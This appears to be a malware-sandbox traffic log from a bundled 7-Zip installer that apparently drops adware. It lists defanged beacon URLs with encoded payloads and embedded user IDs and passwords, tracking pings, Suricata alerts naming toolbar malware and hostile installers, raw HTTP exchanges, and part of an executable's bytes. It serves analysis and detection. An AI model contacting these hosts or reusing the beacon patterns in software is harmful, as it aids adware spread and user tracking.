hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=6c547230-b3a9-4235-8048-b58573bb7041&Password=Jhbh8dCq&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690899&SBPIDS=1&KA=1	173.239.4.56
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?e72165454ebff1a8	87.245.216.19
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1429690909	54.231.33.102
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690897&SBPIDS=1&KA=1	173.239.4.56
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429690911	54.231.33.102
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=LCnUzM5l8JJPNjxRBLtb4 j8TSjavlFmt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVFiMS3IfnnV/WoUPbn8 m8eJ2AXz3DUAfeiVKmshyeUoZg8JvVPLLR8MiltqvJyObgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQxb91FMWgpmsTuQ1DAHiWFFbF1za1PDG7hmocZUcSQS3AHl6w3H159Q==
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429690910	54.231.33.102
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/16945.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jHdnI4qyHE9iJOdggUH8lGT3FsALGJiApIj GXdVcREtCUHeR8YCF3dBxqFduAyLccdDmfpxraNQFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA==	198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=filesfrog&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=0&index_in_screen=0&index_in_session=0&display_height=114&0.038494187488100684	78.138.127.15
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=2&utmn=1157967160&utmhn=bi.bisrv.com&utmhid=557165261&utmr=-&utmp=Offer_Accepted&utmht=1429690866458&utmac=UA-31676879-1&utmcc=__utma=1.1154272012.1429690800.1429690800.1429690800.1;+__utmz=1.1429690800.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.122.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/18865.ashx?e=CMT2M57d1xmfZNC1TqAoBHsn3FpN4laB1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6Zamn/tEKIOyBXf1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv/jLj1QsAUMmM6bcDedJcIMOpmbziZmW1eQRE0cF7lrf/k6YQPAn cmB5nIkMjph0BJ7ytXtOq9SKV0xCpDcC6ECkfAR9QM72jz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqiH2RiyWzXjsvqmqBW5XL7l9IYL8x1ybsb4FXLrRIVqTq10EZsxP4trEIkQsYPNggSlJQe0vxDLEzDsdDpQ6tGYV8yzKP9iG8Dm7k0HmXcf88Sy wW7Vv/w4xBfpeCLMatvuksb7LC7IaCnTaHRnGMLB0lcfia15nl0eFK1c7Xfl6fqJvtbGSe/nXBYmj vXd E7kNQwB4lhRWxdc2tTwxuylfDB3e3gQ 62ls PLHCLAiYA14BsUXG3T8yBNq2sRxCVpHDePMpxXW5lnk56ZrbwxjS6fy1fM/zRGD jAU8bbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://ocsp.godaddy.com//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH+3ahq1OMCAxvnFQ==	188.121.36.239
hxxp://rep.shopper-pro.com/app/ping.ashx?e=d/UISSlWdlNFwtfIvB/2UrFcLkSXvd1y2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrTnlytR4CrxDFFm1YMIsTVjzrWD8RXm8mzk9iL2 2UlKtponuive24bONeuBglAqx2OvgjCTQ5zWCA ceWLS1kKWny/cm1KhfpYVIHBu2Qb3eKkVyT2Ds/uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF9Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5WlojqF5wm2r6yMtUYb9dqX32KOEog NNy6LA==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50tq2T48fwpLktEXC18i8H/ZSaYCkA61OJkHZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWPOtYPxFebybOT2Ivb7ZSUkUvubeDU93VIs0AEv1kh1DKJj24mv8XjnS5StnPX94HWqnaKp4YBMQKbj6MCmwnBSXucwID4 7GffcvnyDlV HiFEfu5p8IyO1Xs1dCcHMkC1fv30UfvLsGQSKKEX4MKBMt6GmkIFntLFSggbgl2i/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgp4Yvmw1YuoPQOGdJX7Ys4OCi0N7aB6YG6hHY oh5wmy9pSoWtDn2v0LZyn40Iw2XqEsFB7attMxqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx215yWtRYQP8BPk7xJ9pwygS8wv5UC4LikkOT CD kKuNDTDTW9UekgQ6xO8SsEd1vQGPfwqbgkyABd	173.239.4.105
hxxp://install.theswiftrecord.com/fp?alpha=dnN8VB5efBMXACILU34RdzcvWR52L2olX1FyPUtCcWdxVFh0AnUqc3QzaFA5N2N8dWBrARNTWHcHLQwObiUFVhkecUhOGyYmHkcIUycHWQE1cn8YQGFrKyAbCB18FgtzJz1AGiYJdStycTRgT0wsYHEAYXcNElJBa3UtCh4hZV5ZDmU2bwpNOipsQU9eYwxrDGZoagwQcH4gOB4IDXoTH3IrMEUcMwgpMnR2IWdbXytmaVczZlFGQA43eE1QVyZ4WRx4fCRtEEZ4czUGEl8wGkZ4QHkoRxZtdCkpHwAbfhQUIWF8T3x6USh9NzchFAcZfzstVCAYSRFfX25yLzIeNmNZAGVqdjg5HFMqbExDA3p4Jxgxb3IYQGlxLjUZdRl8EQtxIVYzb1dQFk49WSRW	8.34.112.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/12502.ashx?e=siwKo8d7dVRFwtfIvB/2UtEz ZGPN9/jA5kVqVgWdAgLxC0aXqYrYyox39H7ctISRrhYDEqCWw2e1VICYqbavCwefCzEcdtXzilmHeLhjQAfzFzOb8vBLPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opWNKEGtOzYkhrnzwx7QvSupF9XRoFpwhAXAXh4LPUO ueIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0=	198.232.124.192
hxxp://download.filesfrog.com/software_files/7_zip/7zip_32.png	212.7.199.182
hxxp://install.theswiftrecord.com/if?alpha=dnN8VB4SMQteOz9/U34RdzcvWR52L3B8E0NAaEVbJC82E1tjAh9lKSJ1cDAaeTo7VXQvQ0cUJT54LwgJdjgAUHYacyBIGCIvalRdUzAHe01bLCdFQyUnP2tJDRR2FQJyKiI0BiUKCCBtcDBlVlJYZX0Hf3UAECdaagMrCwl6UhYBOxUSZh1Ee1Y0CA9xKlZmf3M2PlYaditvJRoWW3MUAnEnPkIfPQ1+PHB0NGBSSjwxLFcQNFofDwkiNXFXSiYwVAE+ajNhLhUmL3RRVQNxCjoCNWl/B0N2IXx3Yl9Oc3NhZn1jBlJjWnFFKSplPxUMNnV/BX8kXFZAAykzeEoFDn9TFjdbLmgMCEB2NAUUTTAaPQxULSVTFyM1cHdAUUFuaBJgZHUAWHpQIjJ6ZDd+U1EtY3kAcjVQUBAFOSA9SFkgfRBeeBlvPl5HZHM7DxwHBlRtQG0sIhVaBShwbEtUDR1SUzR3Y1sNfUlxJmYqMyBfBjw0PwxrdhkTVl58KHwFCHMsBVRiHXc0SmotLWpbTw9lSmVIORkrWQE1YH13Q14QCmhtDlM2FkR+XHFWAxtPEUQbbmgffCUnR0dKTAwIallKJjZmDSpcNG8UCEQ/CSIoc2N+Y19vfw5QBDklfBBZDnI+CRM=	8.34.112.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdryp/sUwP8UjkzdT/T0Mo01fmtZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKBDEn0j3eIDK7QG60abnoF/9Rz9qdjeZA5mLTb589bsOOMLpHSm1q g==	198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&0.5945441726173517	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=hXeqmv1IpenVj9BNm3y5B2RwNktoQ3nsW1tgKrNy38kQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFrb GEwPiedNIoPfCrfVvRJhQC drCF7eFcz7 uAJ9xYc2HdAkQAtbdN0UDIdpIB1Qnh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQECTO3/voqUO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGq8VQmTt9zY	198.232.124.192
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl	87.245.216.57
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl	87.245.216.57
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=iAb9K1DDBHVFwtfIvB/2UtXwAHXY4LJtX/iFdqiZ5XW2ZMgjutBt7OQRE0cF7lrf/k6YQPAn cmeLw31Ygf6oZlbztiqtoL/TokU9chNtxaHMa5E8LXYXSj4RBWOV2QSTzF53EHpwgtyRdUuNvgXmiJjxUWJId3oF/r hSUlo5i1FchkYiZploQKV7JoYf3gQcOav1fvIInFToJxGXpok7Mp5a5JKLY84tkC2WJTEqk677i59tbrijN29qu1AFc5F vrzn i2STmupmdz0X933 57xg6As7fQcOav1fvIInFToJxGXpok7Mp5a5JKLY8jARCJdOax3BQLHhZSKf6F1J4r6F5 wsCmsYBmEqYe81Sgdd2itB1rdCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPkDtNnW3aPgXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW ax5eone962kQECTO3/voqUO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGq8VQmTt9zY	198.232.124.192
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=3&utmn=1873755039&utmhn=bi.bisrv.com&utmhid=557165261&utmr=-&utmp=Offer_Accepted&utmht=1429690875144&utmac=UA-31676879-1&utmcc=__utma=1.1154272012.1429690800.1429690800.1429690800.1;+__utmz=1.1429690800.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.122.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoEMSfSPd4gMrtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw44wukdKbWr6	198.232.124.192
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=bomaaVKFzzKfZNC1TqAoBHsn3FpN4laBfhalIKY8mkHF v7PQ4kXwFfJuLEsXK5wdTDQrchEgee7POMu04e0BSngVvOsCGnWujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1ivpBvzhFxOqDKzz2j1DKRExuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj2ANygAkC0Bha6lfIH DnKMZiwRfiQgeW8eFfSuOsPNu9 inPTLZDtg=
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAMJz1l6tff2DltkAAQAAwnM=	108.162.232.197
hxxp://crl.thawte.com/ThawtePremiumServerCA.crl	23.51.117.163
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va91Q6BhL4ofYRQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSynWwnXRJTWnd3Szt4bQxRHjDFq fkydjBeK4wy7RZBmSO/7e6U1g/c=	198.232.124.192
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?31b7dce4f63cde7b	87.245.216.19
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429690911	54.231.33.102
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1429690919	54.231.33.102
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690899&SBPIDS=0
hxxp://webprotectionfree.com/node/?s=9813&br=3	37.58.109.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=WL9usJOVMsOip5SW8XfeInI0A0MEgFsCbpEIGKaUKB1AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxpd5sSQkmuoYNcNqW9cpn67YCpHZc9ZUaG/QElqGjn9p9CUHeR8YCF3sp NWI2cIlsE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=obiBp3WOda80dGo5FFu/RWMaABmnnjRG5codDIH2EkZ4E7mrr1h80pGhRXiiBAM3RDecOO4yPd7dRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmas5NAsDwqh2rmVvO2Kq2gv SYeASUebplq Kqv6oEpAsAMFLo3/8lmmGLGe0GBQxZ8R12Y34RZ2ijgb6v7cXpPvfJKubRTxkYJh48KI0fWwjBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLom28dR Cm5TWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdDZX/Rrx6x1	198.232.124.192
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1429690909	54.231.33.102
hxxp://stats.localkeymappeer.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429690905&procruntime=3&rnd=1429690908	54.231.9.60
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPlyNANDBIBbAsFixO YD1r6 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5ReNgjp9TKQKu7pSUDvM6KOSmeNQj6tyAHbYKYy91 zfZ5dcTig2boV6xool1mM9zb4KwdVWYfAjLGJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gQQxJ9I93iAyu0ButGm56Bf/Uc/anY3mQOZi02 fPW7Dma 7wZb2cPQo3Gv nP8wmYBlKlGJcuDg	173.239.4.105
s9813.webovernet.com	1.116.192.18
ajax.aspnetcdn.com	68.232.34.200
www.gstatic.com	173.194.116.247
www.youtube.com	173.194.122.8
ssl.gstatic.com	173.194.122.24
secure.webprotectionfree.com	37.58.109.5
apis.google.com	173.194.122.3
ieonline.microsoft.com	204.79.197.200

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET POLICY Executable served from Amazon S3
ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer)
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET MALWARE Win32/Toolbar.CrossRider.A Checkin
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /12502.ashx?e=4mC0vXGWFtpLIQoO9u2NqiGZf5tV7NUiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/ixO6Rp7XuOM0CN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIVRJZefzfQYZofIeaN2K162EghD3HnQv1a/gCZD66/sdSVKFBzVQWjB05oujAfFWpTOgMsHybNe40DPXjVNm atrHsr10IkKsruX7BCtHf6UPtw4 /14NvCeXF a8uH5B6JyaeWsFlhCm4ldslWa se8yRPjkBZF8rSGQI7yg9q76fgRK767/K4N7Ox2sptuWqNJxXQawroNmbktPzt6FdqMa0vJ6oECP23x/pimJHbwt/saWmBvzoxegJbZL45kOeZTnxk34KukeUhRgBI9gVsBWE949qIFc0NnHqPoiMqfasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:41 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:41 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /12502.ashx?e=siwKo8d7dVRFwtfIvB/2UtEz ZGPN9/jA5kVqVgWdAgLxC0aXqYrYyox39H7ctISRrhYDEqCWw2e1VICYqbavCwefCzEcdtXzilmHeLhjQAfzFzOb8vBLPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opWNKEGtOzYkhrnzwx7QvSupF9XRoFpwhAXAXh4LPUO ueIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:44 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:44 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmCGZf5tV7NUiB70p5cFj8vcD/fqz7XUSNP/TL4QSzfDiBG/sM70J21zXoGRO e/ZLiQlJ2XhFkJwtYRRGpvjKZmzjXrgYJQKsUCndBhIJGn5Gl3VMfCFqNT669uXeODcaYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVdoFBzsdHnoxY0nFdBrCug2ZuS0/O3oV2q2/NIxeD7P1aau9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=bomaaVKFzzKfZNC1TqAoBHsn3FpN4laBfhalIKY8mkHF v7PQ4kXwFfJuLEsXK5wdTDQrchEgee7POMu04e0BSngVvOsCGnWujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1ivpBvzhFxOqDKzz2j1DKRExuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj2ANygAkC0Bha6lfIH DnKMZiwRfiQgeW8eFfSuOsPNu9 inPTLZDtg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=eISsn0A7mAY luBT5UotGDUK7GK7BZ30LUotJQa60ZF8HUTlRWqBMpqmf2Jej06Ro0LYMjdINHMQslsRMw lHlOF8w yxhy/qUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj2ANygAkC0Bha6lfIH DnKMZiwRfiQgeW8eFfSuOsPNu9 inPTLZDtg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /17416.ashx?e=/k6kR j50trrVVBzJuBn8nI0A0MEgFsCUunkGFg4nZ5AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYym DfDTo4DWQRWOvghCBTr/TdVMo67fxO0s IILilpWF0qsPhrJ4rL5/EiQPnfm1ghi/Nq9Fx/HBIE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuibbx1H4KblNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUt0Nlf9GvHrHU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com

